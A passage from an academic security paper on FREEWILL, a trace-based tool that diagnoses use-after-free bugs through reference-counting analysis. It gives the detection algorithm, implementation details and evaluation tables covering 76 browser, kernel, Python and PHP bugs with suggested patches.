in the execution trace. Then, we calculate the wrapper dis-
tance WD between the RP of current wrapper with the EP of
next wrapper, i.e., WD = ||NRP_Current-NEP_Next ||. In Figure 6, to
match the + with proper reference, R1 or R2, although there
is ED1 > ED2, considering the existence of wrappers, we will
calculate the WD and match it with R1 as there is WD1 < WD2.

If we have the source code, we can use the debug infor-
mation to annotate the boundaries. For binary-only traces,
we can directly use call-ret pairing methods to identify the
wrappers. Specifically, we assume there will be any number
of call and ret instructions between two wrappers. We first
pair successively appeared call and ret instructions. Then, we
mark the last unpaired ret and the first unpaired call as the
boundaries and calculate the EDwrapper = || Nret-Ncall || as the
temporary wrapper distance. Finally, we check if there is any
call-ret pair P between the two boundaries, if so, we calculate
the execution distance EDP from the call to ret of P and then
subtract it from EDwrapper as the final wrapper distance WD.

4.4.2 Reference Miscounting Detection

With our omission-aware model, we design Algorithm 1 to
analyze references based on their refcounting behaviors. The
algorithm takes the set of identified references ref_set as

R1_C R2_C

ED1 ED2>

+ -

wrapper A
wrapper B

wrapper C

WD1 WD2

>

-

Figure 6: Distance-based Refcounting Matching. R_C = Ref.
Creation, ED=Execution Distance, WD=Wrapper Distance.

input, and reports the details of reference miscounting issues.
We sort references in ref_set in the ascending order of Tc

and analyze them one by one. Each reference r belongs to
one of the following four categories:

1) If r has both + and -, we add it to rc_set (Line 5);
2) If r only has +, we add it to inc_set (Line 7);
3) If r only has -, we will first check inc_set to find

an overlapped reference r’ following rule OR1 such
that r’ is created before r (i.e., r’.Tc < r.Tc). If
r’ exists (Lines 11-13), r’.- and r.+ are allowed
to be False. We will create a virtual reference
vr: (.+=True, .Tc=r’.Tc, .-=True, .Td=r.Td) and
add it into ov_set. We will remove r’ from inc_set
as it can only be matched with once based on OR1.
If we cannot find such an r’, we will resort to rule OR2
to find an r’ such that r’ is the head of the transmitting
chain (R1 in OR2) while r is the tail (RN in OR2). Based
on OR2, it is legitimate to omit r’.-, r.+ and (+,-) of
intermediate references (i.e., Ri for 1<i<N). We will
create the virtual reference, remove r’ from inc_set
and remove Ri from ref_set (Lines 18-21).
If we cannot find any r’ using OR1 nor OR2, our algo-
rithm will report an inconsistent decrement bug ID_BUG
and suggest an extra + for patching (Lines 23-24).

4) If r has neither + nor -, we will check rc_set to find a
reference r’ that contains r. Based on rule OR3, if r’
exists, we can safely omit the (+,-) of r (Line 28). If r’
does not exist, we will check ov_set to find such a r’. If
r’ exists in this case, we can safely omit the (+,-) of r
based on rule OR4 (Line 31). If we cannot find any r’
based on rule OR3 nor OR4, we will report a mistaken
omission bug MO_BUG, and suggest to add (+,-) back as
the patch (Lines 33-34).

Finally, as shown in Figure 2, we will analyze the reuse
locations of dangling pointers to detect a special kind of in-
consistent decrease bugs (see §6.5.1): a reference r having
two decrements but only one increment. If no reference mis-
counting is found, we will report all dangling pointers as our
diagnosis result.
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Algorithm 1: UAF Diagnose
Input: ref_set: reference set with matching result
Output: report: diagnose and patch report

1 rc_set = /0 ; // inc&dec set
2 inc_set = /0 ; // inc set
3 ov_set = /0 ; // overlap set
4 foreach r ∈ ref_set: r.+ and r.- do
5 add r into rc_set

6 foreach r ∈ ref_set: r.+ and !r.- do
7 add r into inc_set

8 foreach r ∈ ref_set: !r.+ and r.- do
9 if ∃r’ ∈ inc_set: r’.Tc < r.Tc < r’.Td < r.Td

10 then // OR1
11 vr = (True, r’.Tc, True, r.Td)

12 add vr into ov_set
13 remove r’ from inc_set

14 else if ∃R1 ... RN ∈ ref_set, ∀1<i6N:
15 Ri-1.Tc < Ri.Tc < Ri-1.Td < Ri.Td and !Ri.+ and !Ri.-
16 and RN is r and R1 is r’ and r’ ∈ inc_set
17 then // OR2
18 vr = (True, r’.Tc, True, r.Td)

19 add vr into ov_set
20 remove r’ from inc_set
21 remove Ri (1<i<N) from ref_set

22 else
23 report ID_BUG ; // report
24 add + for r ; // patch sugg.

25 foreach r ∈ ref_set: !r.+ and !r.- do
26 if ∃r’ ∈ rc_set: r’.Tc < r.Tc < r.Td < r’.Td

27 then // OR3
28 continue to next r

29 else if ∃r’ ∈ ov_set: r’.Tc < r.Tc < r.Td < r’.Td

30 then // OR4
31 continue to next r

32 else
33 report MO_BUG ; // report
34 add +, - for r ; // patch sugg.

5 Implementation

Our implementation contains about 10K lines of code, includ-
ing about 7K lines of C/C++ code to implement instrumenta-
tion (QEMU extension and Pin-tool), taint analysis and data
slice, and about 3K lines of Python code for UAF diagnosis,
including UAF object identification, refcounting detection,
refcounting matching and reference miscounting detection.

5.1 Instrumentation
FREEWILL can use any existing instrumentation tools,
Pin [15] or DynamoRIO [8] to collect bug-triggered execution
traces. In fact, for command-line programs, such as Python
script engine, we implement a Pintool to collect the traces.
However, based on our practical experiments on various large-
scale GUI-based programs (e.g., web browsers), it is the 50-
100 times overhead [21] that makes many crashes fail to be
reproduced by Pin. To solve this problem, we implement an

instrumentation tool based on a well-performed virtual ma-
chine QEMU [22]. We fetch the CPU status in the cpu-exec.c
file and insert our instrument code during the TCG translation,
i.e., in the translate.c file. Different from Pin providing thread-
related APIs, we use kernel structures, e.g., EThread [9], to
extract thread id from emulated CPU for Windows programs.
In summary, we collect following information:
Instruction Record. We will record Instruction ID, Instruc-
tion Address, Operation Code, Operand Value and Thread
ID. Specifically, Instruction ID is used to calculate the ex-
ecution and wrapper distance for our refcounting matching.
Instruction Address is used to mark the location of reference
miscounting. Operation Code and Operand Value are used
to detect all references and build value sequences. Thread ID
is used to identify multi-thread UAF bugs when malloc, free
and reuse are detected in different threads.
Heap Related Record. The heap record contains the Instruc-
tion ID, Heap Operation Type, Object Address, Object Size.
Specifically, Operation Type can be one of allocation, deal-
location and reallocation. Object Address and Object Size
record the object memory space range. The heap information
is used to help detect the UAF bug and identify if there is a
refcounter in object fields.

5.2 Gray-Taint Analysis
We first mark with TAINT flags the pointers returned from
UAF object-related allocations and track them as follows:
Normal Taint Rules. We first analyze movement instructions
(e.g., mov/movsd, push) which can produce new references if
the source operand is tainted. To detect destructions of stack
references, we will analyze instructions such as ret N, pop,
leave and call which can destroy them. For heap references,
we will check if any tainted cell is freed or overwritten.
Gray Taint Rules. Whenever a tainted reference involves
computation, we will first make sure it is not completely de-
stroyed, e.g., xor eax, eax. If there is a small change, e.g., a bit
operation in or [ref], 0x1, we will mark it with a GRAY flag and
propagate it in the following analysis. When we meet it again,
we will check if the final value is equal to object address, if
yes, we will treat it as a new reference and mark it with TAINT.
Under-Taint and Over-Taint. They are two common prob-
lems when we implement our taint engine. We use the refer-
ence value, say ref, as check conditions to migrate the prob-
lems. First, if any instruction containing a ref is not tainted,
we will add rule(s) to fix this under-taint. Second, when a new
reference is detected, we will check if its value is ref, if not,
we will add rule(s) to fix this over-taint.

6 Evaluation

We mainly evaluate FREEWILL on following aspects:
• UAF Object Lifetime Identification: Can FREEWILL

identify UAF objects with proper lifetimes?
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• Reference & Refcounting Identification: How accurate
are our reference detection & refcounting identification?
• Diagnosis & Patch Suggestion: What is the effective-

ness of FREEWILL in root cause diagnosis and patch
suggestion for UAF bugs?
• Lessons from Bugs: What can we learn from these bugs

and wrong (or incomplete) patches (or suggestions)?

6.1 Experiment Setup
Benchmark. Using public search engines, official bug track
websites [3–5,14,16] and kernel commit logs [11], we collect
76 UAF bugs presented in the first three columns in Table 3.
Note that the proportion of different bugs in our dataset could
be inconsistent from the ones in the real world as a bug is
collected into our dataset only if we can reproduce it. How-
ever, to keep the fairness of our selection, we try to cover as
many types of bugs as we can and also collect various thorny
cases, e.g., custom-defined heap managers and race problems.
Our dataset covers five types: mistaken omission (MO), in-
consistent decrease (ID), dangling usage (DU), null-pointer
dereference (NPD), multi-thread (M) and ten subtypes (see
§6.5) of root causes leading to UAF bugs, which makes our
dataset representative and convincing.
Environment. We configure FREEWILL to run on a Ubuntu
18.04.1 platform with 8-core 4.00GHz CPU, 64GB RAM.
We install 32-bit Windows 7 and Windows 7 SP1 as QEMU
guests to execute the various versions of web browsers, and
install a 32-bit Ubuntu-16.04 virtual machine to execute other
programs. We use our QEMU extension and Pin-tool to in-
strument and fetch traces.
Kernel Drivers. Due to the inconvenience of kernel instru-
mentation, we extract all related driver files containing the 21
kernel UAF bugs (15 bugs in 13 versions of Linux and 6 bugs
in 5 versions of MacOS) to build user-space dynamic libraries
that can be executed and monitored by our tools. For example,
we use 74% code of 12 original class files in MacOS libkern
module for CVE-2016-1828 and CVE-2016-4656. We mainly
keep Serialize/UnSerialize functions and disable unrelated
code, e.g., interactions with other kernel drivers. Besides, we
use libc.so’s malloc and free to replace the original kmalloc
and kfree in driver files. For other kernel driver bugs, we adopt
similar methods to reproduce them and Table 2 gives the de-
tails. On average, for each bug, we need about 30 minutes to
manually extract all related files and remove unrelated code
from source code.

6.2 UAF Object Lifetime Identification
Traces and Crashes. The Trace and Crash columns in Ta-
ble 3 show that FREEWILL has successfully reproduced 73
bugs using our instrumentation tools. The average size of the
traces for each bug is 24GB containing more than 130 mil-
lions of instructions. FREEWILL fails to analyze three bugs

Table 2: Source Code Extracted for 21 Kernel Bugs.
Kernel # Vers. *.h *.c/.c++ LoC Time/Avg.(h)
Linux 13 195 80 50,186 7.5 / 0.5

MacOS 5 60 45 66,650 3 / 0.5

and the main reason is the side effects of low-performance
instrumentation. For 67 out of 73 bugs, we can directly find
the crash points in the last instructions of the traces. How-
ever, there are six bugs of Firefox and Chrome whose crash
points need to be manually identified with minidump [12]
files produced by their Breakpad [2] or Crashpad [6].
UAF and Reallocations. In the UAF column, we can see
FREEWILL has successfully identified 66 UAF bugs, includ-
ing 5 multi-level UAF bugs and 5 multi-thread UAF bugs
(malloc, free and reuse have different thread id). For five
of them, we need the assistance of ASan to catch the crash
points, otherwise they will be delayed to happen in compli-
cated heap manager functions (free or malloc). FREEWILL
has also identified five null-pointer dereference bugs who
have been reported as UAF bugs because nullified references
are reused without any null-check. For CVE-2015-2425 and
CVE-2017-11810, FREEWILL fails to identify the bugs as we
have no custom-defined heap API symbols. Finally, with back-
wards slicing, FREEWILL identifies 18 UAF bugs whose
memory blocks have been reallocated for other objects.

6.3 Reference & Refcounting Identification

Reference Identification. From the Ref. Ident. column, we
can see FREEWILL successfully identifies all references of
the UAF objects within their lifetimes. On average, each of
three web browsers, for the UAF object, creates more than
2,000 potential references, including the ones stored in heap,
stack and register. For other programs, each of them also
creates more than 100 potential references which is still a
challenge for manually debugging. The Strong column shows
that FREEWILL has filtered out more than 90% of potential
references, which can facilitate the diagnoses.
Refcounting Identification. From the + column, we can see
that FREEWILL successfully identifies 52 UAF objects using
refcounting to manage their lifetimes. We have manually con-
firmed that there are 14 UAF bugs whose vulnerable objects
have no refcounter in their structure or class definitions. From
the Offset column, we can see different kinds of objects use
various positions to store refcounters.

To compare the effectiveness of two heuristic rules (men-
tioned in §4.3), we manually identify 543 objects (having
different sizes and structures) from all traces as our dataset.
Based on the ground truth, 65 reference-counted objects and
478 non-reference-counted ones, as shown in Table 4, we
use HR-FixStep to identify only 37 counted objects, and use
HR-CDFree to totally identify 61 objects.
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Table 3: Diagnosis Results. DMP=DUMP File, RA=Reallocation Times, MU=Multi-level UAF, DF=Double Free, (A)=ASan,
(M)=Multi-thread UAF, C-/M-/RD-/P-=Calculation, Mov, Rep Movsd or Push instructions, RM=Reference Miscounting,
RC=Reference Counting, NPD=Null-Pointer Dereference, 8= Wrong or Incomplete Patch (Suggestion).

Prog. BugId Ver.
UAF Obj. Ident. Ref. Analysis Diagnoses

Trace Crash UAF RA Ref. Ident. Ref. Count RM Root Patch Official
(GB) Poten. Strong + Offset Cause Suggestion Patch

IE

CVE-2010-0248 8.0.7600.16385 1.6 4 4 2 188 31 1 +0x10 4 M-(Rc, ) Add +/- Add Rd
CVE-2010-0249 8.0.7600.16385 2.7 4 4 1 8460 661 56 +0x40 4 RD-(Rc, ) Add +/- 4
CVE-2010-3971 8.0.7600.16385 3.9 4 4 1 52 10 0 – No Dangling (No RC) Stop Reuse 4
CVE-2011-1260 8.0.7600.16385 2.5 4 MU 0 1266 163 1 +0x40 4 C-RD-(Rc, ) Add +/- 4
CVE-2012-1875 8.0.7600.16385 3.8 4 4 0 3273 210 12 +0x4 4 M-(Rc, ) Add +/- Add Rd
CVE-2012-4787 9.0.8112.16421 1.4 4 4 0 313 13 8 +0x4 4 M-(Rc, ) Add +/- 4
CVE-2012-4792 8.0.7600.16385 3.3 4 4 0 1026 22 7 +0x4 4 M-(Rc, ) Add +/- 4
CVE-2012-4969 8.0.7600.16385 3.3 4 4 1 200 32 3 +0x4 4 P-(Rc, ) Add +/- 4
CVE-2013-0025 8.0.7600.16385 2.7 4 MU 0 2973 265 3 +0x40 4 M-(Rc, ) Add +/- Add Rd
CVE-2013-1306 9.0.8112.16421 18.0 4 4 0 1977 74 7 +0x4 No Reuse Counted R Stop Reuse 4
CVE-2013-1347 8.0.7600.16385 1.7 4 4 1 928 18 7 +0x4 No Reuse Counted R Stop Reuse 4
CVE-2013-3163 8.0.7600.16385 1.9 4 4 0 2271 322 19 +0x4 4 M-(Rc, ) Add +/- Add Rd
CVE-2013-3893 8.0.7600.16385 2.4 4 MU 1 5110 763 23 +0x40 4 M-(Rc, ) Add +/- 4
CVE-2013-3897 8.0.7600.16385 2.5 4 4 1 431 77 1 +0x4 4 P-(Rc, ) Add +/- 4
CVE-2014-0282 8.0.7600.16385 1.8 4 4 0 4104 508 29 +0x4 4 M-(Rc, ) Add +/- 4
CVE-2014-1776 8.0.7600.16385 6.2 4 MU 1 3660 463 26 +0x4 4 P-(Rc, ) Add +/- 4
CVE-2014-1815 8.0.7600.16385 2.5 4 4 0 5021 962 65 +0x4 4 P-(Rc, ) Add +/- 4
CVE-2015-2425 11.0.9600.16428 6.8 4 – – – – – – – – – –
CVE-2017-11810 11.0.9600.16428 3.1 4 – – – – – – – – – –
CVE-2018-8174 11.0.9600.16428 3.7 4 4 0 217 36 9 +0x4 No Reuse Counted R Stop Reuse 4

Linux

Commit-81b9de4 (2018) 4.16.0-rc1 0.1 4 DF(A) 0 43 10 1 +0xc 4 M-(+Rc, -, -) Stop - 8(Add +)
Commit-c3aabf0 (2019) 5.2.0-rc1 0.1 4 DF(A) 0 32 9 1 +0x8 4 M-(Rc, -) Add + 4
Commit-0cef13d (2020) 5.9.0-rc7 0.1 4 DF(A) 0 60 15 1 +0xc 4 M-(+Rc, -, -) Stop - 4
Commit-8cc0dcf (2020) 5.10.0-rc3 2.5 4 4 0 258 60 2 +0xc 4 M-(Rc, -) Add + 4 (Delay Free)
Commit-ba34c3d (2020) 5.10.0-rc7 2.7 4 4 0 258 55 2 +0x8 4 M-(Rc, ) Add +/- 4
Commit-dbfa04e (2020) 5.11.0-rc1 2.1 4 NPD – – – – – No NPD Null-Check 4
Commit-beb691e (2021) 5.11.0 2.5 4 4 0 171 48 2 +0x0 4 M-(+Rc, -, -) Stop - 4
Commit-357a07c (2021) 5.12.0-rc7 2.5 4 4(M) 0 40 7 1 +0x8 4 M-(Rc, ) Add +/- 4
Commit-8d43259 (2021) 5.12.0 2.5 4 4 0 239 58 3 +0x4 No Reuse Counted R Stop Reuse 4
Commit-ae4393d (2021) 5.12.0 2.3 4 4 0 21 7 0 – No Dangling (No RC) Stop Reuse 4
Commit-c81d3d2 (2021) 5.13.0-rc1 2.3 4 4 0 119 28 1 +0x0 4 M-(Rc, ) Add +/- 4
Commit-a4f0377 (2021) 5.13.0-rc3 2.1 4 4(M) 0 214 55 1 +0x64 4 M-(Rc, ) Add +/- 4
Commit-8fd0e99 (2021) 5.13.0-rc4 2.5 4 4 0 73 25 1 +0x0 4 M-(Rc, -) Add + 4
Commit-af35fc3 (2021) 5.14.0-rc3 2.6 4 4 0 203 52 1 +0xfc 4 C-(Rc, ) Add +/- 4 (Delay Free)
Commit-ff11764 (2021) 5.14.0-rc3 2.3 4 4(M) 0 82 22 1 +0x10 4 M-(Rc, ) 8(Add +/-) Add Lock

MacOS

CVE-2016-1828 10.11.4 0.5 4 4 0 112 38 2 +0x4 4 M-(Rc, ) Add +/- 8(Delay Free)
CVE-2016-4656 10.11.6 0.5 4 4 0 120 40 1 +0x4 4 M-(Rc, ) Add +/- 4(Delay Free)
CVE-2017-2545 10.13.2 4.0 4 4 0 91 22 1 +0x8 4 M-(Rc, -) Add + Remove Rc
CVE-2018-4083 10.13.2 4.3 4 DF(A)(M) 0 77 27 1 +0x4 4 M-(+Rc, -, -) Stop - Add Lock
CVE-2019-6225 10.14.2 2.3 4 4 0 340 67 3 +0x8 4 M-(Rc, -) Add + 4
CVE-2020-9892 10.15.5 2.3 4 4 0 117 18 0 – No Dangling (No RC) Stop Reuse 4

Python

Issue-24091 (2015) 3.4.3 40.0 4 4 1 123 46 6 +0x8 4 M-(Rc, ) Add +/- 4
Issue-24092 (2015) 3.4.3 40.0 4 NPD – – – – – No NPD Null-Check 4
Issue-24093 (2015) 3.4.3 40.0 4 4 1 357 81 10 +0x8 4 M-(Rc, -) Add + 4
Issue-24094 (2015) 3.4.3 30.0 4 4 1 183 61 8 +0x8 4 M-(Rc, ) Add +/- Remove Rc
Issue-24099 (2015) 3.4.3 24.0 4 4 1 159 67 6 +0x8 4 M-(+Rc, -, -) Stop - 4
Issue-24100 (2015) 3.4.3 24.0 4 NPD – – – – – No NPD Null-Check 4
Issue-38588-01 (2019) 3.8.0 15.0 4 4 0 81 21 3 +0x10 4 C-P-(Rc, ) Add +/- 4
Issue-38588-02 (2019) 3.8.0 15.0 4 4 0 53 14 2 +0x10 4 C-P-(Rc, ) Add +/- 4
Issue-38588-03 (2019) 3.8.0 15.0 4 4 0 56 15 2 +0x10 4 C-P-(Rc, ) Add +/- 4
Issue-38610-01 (2019) 3.8.0 15.0 4 4 0 65 17 2 +0x10 4 C-P-(Rc, ) Add +/- 4
Issue-38610-02 (2019) 3.8.0 15.0 4 4 0 68 18 3 +0x10 4 C-P-(Rc, ) Add +/- 4
Issue-38610-03 (2019) 3.8.0 15.0 4 4 0 68 18 3 +0x10 4 C-P-(Rc, ) Add +/- 4
Issue-39421 (2020) 3.8.0 15.0 4 4 0 77 19 3 +0x10 4 C-P-(Rc, ) Add +/- 4
Issue-39453 (2020) 3.8.0 15.0 4 4 0 61 18 2 +0x10 4 C-P-(Rc, ) Add +/- 4
Issue-39510 (2020) 3.8.0 40.0 4 NPD – – – – – No NPD Null-Check 4

PHP

BUG-68594 (2014) 5.4.36 42.0 4 4(A) 0 84 5 1 +0x8 4 M-(Rc, ) Add +/- 8(Delay Free)
BUG-68710 (2015) 5.4.36 42.0 4 4(A) 0 84 5 1 +0x8 4 M-(Rc, ) Add +/- 4(Delay Free)
BUG-73392 (2016) 7.0.14 2.4 4 4 1 55 13 2 +0x0 4 M-(Rc, ) Add +/- Remove Rc
OSS-17903 (2019) 7.4.0 – No – – – – – – – – – –
OSS-24436 (2020) 8.0.0 2.7 4 4 0 103 20 1 +0x0 4 M-(Rc, ) Add +/- 4
BUG-79922 (2020) 7.3.22 2.4 4 4 0 93 26 4 +0x0 4 M-(+Rc, -, -) Stop - 4
BUG-66783 (2021) 7.4.0 2.8 4 4 0 127 29 0 – No Dangling (No RC) Stop Reuse 4
BUG-80927 (2021) 7.4.0 2.5 4 4 1 31 6 0 – No Dangling (No RC) Stop Reuse 4

Firefox

CVE-2011-0065 3.0 14.0 4 4 1 14 6 0 – No Dangling (No RC) Stop Reuse 4
CVE-2013-0753 13.0.1 3.0 4 4 0 539 80 0 – No Dangling (No RC) Stop Reuse 4
CVE-2016-9899 50.0 – No – – – – – – – – – –
CVE-2017-5404 52.0a2 272 4 (DMP) NPD – – – – – No NPD Null-Check 4
CVE-2018-18492 63.0 40 4 (DMP) 4 0 82 24 0 – No Dangling (No RC) Stop Reuse Use RC

Chrome

Issue-1033759 (2019) 80.0.3987.0 22.0 4 (DMP) 4 0 7134 423 0 – No Dangling (No RC) Stop Reuse 4
Issue-1041406 (2020) 79.0.3945.0 61.0 4 4(M) 3 130 16 0 – No Dangling (No RC) Stop Reuse Remove R
Issue-1062091 (2020) 81.0.4044.0 294.0 4 4 0 22247 517 0 – No Dangling (No RC) Stop Reuse 4
Issue-1111737 (2020) 86.0.4214.0 – No – – – – – – – – – –
Issue-1137630 (2020) 86.0.4214.0 27.0 4 (DMP) MU 0 113 2 0 – No Dangling (No RC) Stop Reuse Delay Free
Issue-1142675 (2020) 87.0.4280.0 97.0 4 (DMP) 4 2 423 16 0 – No Dangling (No RC) Stop Reuse 4
Issue-1155426 (2020) 81.0.4044.0 358.0 4 (DMP) 4 3 7177 485 0 – No Dangling (No RC) Stop Reuse 4
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Table 4: Accuracy of Refcounting Identification.
Rules TP TN FP FN Acc. Prec. Recall
HR-FixStep 37 428 50 28 86% 43% 57%
HR-CDFree 4 61 471 7 4 98% 90% 94%

Ground Truth Extraction. When source code is available,
we can extract the ground truth directly from the programs.
When we only have binaries, e.g., IE, we extract the ground
truth as follows: First, we use the reverse engineering tool,
IDA Pro, with the official symbol (PDB [13]) files to fetch the
object name based on the object allocation instruction address
in our traces and collect all its related function names (like
CTreeNode::XXX) in the Function Name window of IDA Pro.
Second, we can extract the ground truth based on the exis-
tence of refcounting function names like CDoc::AddRef or
CTreeNode::AddRef. Finally, we will find out in these AddRef -
like functions the critical instructions, such as inc [this+0x4],
which can be used to infer the refcounter offsets (e.g., +0x4).
While the reversing time mainly depends on the size of the
target binary module (e.g., mshtml.dll), in our evaluations,
it tooks about 5-10 minutes to fetch all function names and
extract the ground truth for each object.
HR-FixStep FP/FN Analysis. The main reason of false pos-
itives is that it cannot distinguish other kinds of counters,
such as Loop Counter. The reason of false negatives is that it
cannot efficiently handle the diversity of the steps, e.g., the
refcounting of CTreeNode (explained in Figure 5). Besides,
many programs will set a marked flag value (e.g., 0x8000 or
0xffff) to the refcounter before they free the objects.
HR-CDFree FP/FN Analysis: The reason of false positives
is that it can not handle status flags, e.g., isActive, isBusy,
which will be first enabled and then disabled to call the free.
Four false negatives are introduced by decrement functions
who have no control-dependence on zero, e.g., MacOS ker-
nels use 0xffff as the free condition (this has been fixed).
Nevertheless, 6% false negative and 98% accuracy rate for
more than 500 various objects have proved the efficiency of
HR-CDFree. In fact, HR-CDFree helps us to automatically
and precisely identify lots of useful refcounters in IE objects,
e.g., the CTreeNode, CTreePos, CBase, CLayout, CSecuri-
tyThunkSub, CFlatMarkupPointer, etc,. As a result, we advise
to use the HR-CDFree rule first in practical usage.

6.4 Diagnoses and Patch Suggestions
UAF Diagnoses. From the Diagnoses main column, we can
see that there are totally 48 UAF bugs caused by reference mis-
counting and 18 bugs are caused by dangling usage. Within
the dangling usage bugs, there are 4 bugs caused by the reuse
of counted references and there are no refcounting in the other
14 bugs. In the Root Cause column, we use (Rc, ) to mean a
UAF bug is caused by mistaken omission. Specifically, from
the analysis result, we can see that there are totally 36 out of

.text: 74D79D49 call ?GetmarkupPtr@CElement

.text: 74D79D4E push [ebp+arg_0]

.text: 74D79D51 push eax

.text: 74D79D52 call ?onCssChange@CMarkup

.text: 74D79D57          pop ebp

P-(Rc, )

MSHTML-8.0.7600.16385  (Bug Version)

MSHTML-8.0.7601.18446  (Patch Version)

if ( *(this + 7) & 0x200 ){

v4 = CElement::GetMarkupPtr(this);

(*(*v4 + 0xE0)) (v4);   // AddRef()

v2 = CMarkup::OnCssChange(v4, a2);

(*(*v4 + 0xE4)) (v4);   // Release()

}

Add +/-
(FreeWill)

Offical Patch

Figure 7: P-(Rc, ) Mistaken Omission, Patch Suggestion,
and the Official Patch (CVE-2014-1776).

48 UAF bugs caused by mistaken omission. We use (Rc, -)
to mean the inconsistency problems as there is only - but no
corresponding +, which is the main reason for 6 UAF bugs.
We use (+Rc, -, -) to mean another kind of inconsistency de-
creases for 6 bugs in which the problematic references have
been decreased twice. It is noted that FREEWILL uses the pre-
fix, C, M, RD and P for all reference miscounting caused bugs
to mean, Calculation, Mov, Rep Movsd and Push, different
ways of reference creation, which is very useful to classify
the bugs and suggest effective patches. Finally, FREEWILL
has identified five null-pointer dereference (NPD) bugs (their
parent object are still alive) reported as a special kind of UAF
bugs because the nullified references are still accessed with-
out any Null-Check. We give more details of our diagnoses
and the performance in Appendix §A.1.

Patch Suggestions. Based on above diagnosis reports,
FREEWILL can automatically conclude bug types and pro-
duce effective patch suggestions for UAF bugs. For example,
for the typical P-(Rc, ) bug shown in Figure 7, FREEWILL
will suggest to add +/- around the reference creation, which is
exactly matched with the official patch. In fact, from the last
two columns of Table 3, we can conclude that FREEWILL can
help developers to effectively fix different kinds of UAF bugs.
Specifically, there are totally 56 out of 71 patch suggestions
which are matched with the official patches and marked with
4 in the table. Besides, for the reference miscounting caused
UAF bugs, FREEWILL can give more concrete patch sugges-
tions and there are totally 37 out of 48 patch suggestions that
are exactly the same with the official patches. Third, while not
considering multi-thread bugs in our omission-aware model,
from the result, FREEWILL can even give two correct patch
suggestions and we will give the details in the next section.
Finally, while it is conservative, FREEWILL can give more
reliable patch suggestions as we have identified three wrong
or incomplete official patches but only one from our tool.
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6.5 Lessons From Bugs

6.5.1 Mistaken Omission and Inconsistent Decrease

There are totally 36 mistaken omissions caused UAF bugs and
we can conclude two main reasons (subtypes) for these bugs.
One reason may be that when many programmers participate
in the development of a large, complicated program, the one
writing a copy functionality does not know how the pointed
object manages its lifetime. For example, in CVE-2011-1260,
the developers, to implement clone-like library functions, only
simply copy the memory content by calling memcpy and fail
to increase its member’s refcounter properly as they have
not cared about the object content. Another reason can be
explained by CVE-2014-1776 in Figure 7. Specifically, when
developers pass an In/Out object pointer into a large and
complicated function, they fail to increase the refcounter but
the callee function still decreases the refcounter. Finally, when
the caller continues to access the passed out (dangling) pointer,
there will be a UAF bug. In fact, this is a common kind of
mistaken omission that happens in kernels and script engines.

FREEWILL has detected 12 UAF bugs caused by inconsis-
tent decrease and they can also be classified into two subtypes.
We use (Rc, -) to represent the first type, e.g., the RM2 in Fig-
ure 1. Considering the obvious reference miscounting, for
these bugs, FREEWILL suggests to use add + to fix them. As
a result, FREEWILL produces five out of six suggestions ex-
actly matched with the official patches and the programmers
remove the problematic code to prevent reference creation
for the sixth bug (CVE-2017-2545). The second subtype, rep-
resented by (+Rc, -, -), is more complicated as we cannot
precisely tell which decrease is wrong, e.g., the bugs hap-
pened in Linux, MacOS, Python, and PHP. While it is less
rigorous for our suggestions to prevent the second decrease,
there are still five out of six official patches that are matched.

6.5.2 Dangling Usage and Null-Pointer Dereference

FREEWILL confirms 18 UAF bugs caused by two subtypes
of dangling usage. First, for the UAF objects whose data
structures are simple Array and Buffer (e.g., CVE-2020-9892,
CVE-2010-3971), FREEWILL does not identify any refcount-
ing during their whole life cycles. Second, if references who
have been counted are accessed after the object is freed (e.g.,
CVE-2018-8174), they are also diagnosed as dangling pointers.
For both of the dangling bugs, FREEWILL suggests to stop
reuse related pointers. It is noted that FREEWILL finds no
reference miscounting but only dangling usage in Firefox and
Chrome. Based on our manual analysis, both of them have
adopted SmartPointer [18] to prevent reference miscounting
and the UAF bugs are mainly caused by other raw pointers
who have not been protected.

Null-pointer dereference (e.g., CVE-2017-5404) can also be
treated as a special subtype of dangling usage as a nullified
pointer is a special kind of dangling pointer. In fact, all five

null-pointer dereference bugs detected by FREEWILL are
reported as UAF bugs in the real world. Finally, for these bugs,
we suggest adding the corresponding Null-Checks, which are
all matched with official patches.

6.5.3 Wrong or Incomplete Patches

When there is a problematic reference in the patched program,
created and accessed to trigger a UAF bug as in the original
code, FREEWILL could confirm the patches to be wrong or
incomplete. In this way, FREEWILL identifies three wrong or
incomplete patches and one wrong patch suggestion.
Linux (Commit-81b9de4) Wrong Patch. This bug is caused
by two continuous decrements (as shown in Table 3) and the
official patch tries to increase the refcounter before the first
decrement. However, the developers wrongly use a reference
of another object and this is an obvious wrong patch as the
two continuous decrements still exist without any increment.
MacOS (CVE-2016-1828) and PHP (BUG-68594) Incomplete
Patches. These two bugs are very similar as both of them in-
volve the Unserialize functions. They are triggered as follow:
First, the UAF object, created and held by reference R0, is
stored with a key into a table or array without refcounting (re-
fcounter is still 1). Second, a new object, owning the same key
with the existing object in the table or array, will be used to
replace the old object who will be then released (freed as the
refcounter becomes 0). Finally, R0 becomes dangling and its
access triggers the UAF bug. While this is a classic reference
miscounting, both of the official patches chose to prevent the
replace by adding special check conditions. However, their
conditions are incomplete and they can be passed in other
new execution paths.
FREEWILL Wrong Patch Suggestion (Commit-ff11764)
and Multi-thread UAF. The bug is caused by a race problem
(one subtype), where an unlocked decrease can concurrently
happen in another thread. As FreeWill does not consider races,
it cannot produce suggestions to prevent these bugs. How-
ever, FreeWill produces two useful Linux patch suggestions
(Commit-357a07c and Commit-a4f0377) almost matched with
official patches. In the two bugs (another subtype), threads
rely on a synchronized Producer-Consumer queue to pass
objects. In the wrong case, the Producer thread firstly puts the
object into the queue and then increases the refcounter; and
the Consumer firstly fetches the object and then decreases
the refcounter. As a result, the increase by Producer and the
decrease by Consumer can be executed concurrently, causing
a UAF bug. The suggestion to increase refcounter before the
object is added into the queue (i.e., a new reference creation)
can fix the bugs as increase and decrease can be executed
in order. Finally, there is a special simple multi-thread UAF
bug (third subtype) in which a dangling pointer is accessed
in another thread after the object is freed. In fact, FREEWILL
detects this kind of bugs in Chrome and suggests to stop reuse
the dangling pointer.
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7 Limitation and Future Work

New Bug Detection. FREEWILL is mainly used to diagnose
a UAF bug based on a bug-triggering input. However, by
concluding the patterns and lessons of reference miscounting,
we will focus on finding new bugs in future work.
Race Problem Diagnosis. Based on our evaluations,
FREEWILL cannot handle the race problems and it is the
main limitation of the current version. While there have been
concurrent UAF bug detection methods [24, 31], diagnosing
these bugs can be an important future work.
Custom Heap Recognition. FREEWILL failed to analyze two
bugs, CVE-2015-2425 and CVE-2017-11810, as we have no
idea of their allocation and destruction functions. Therefore,
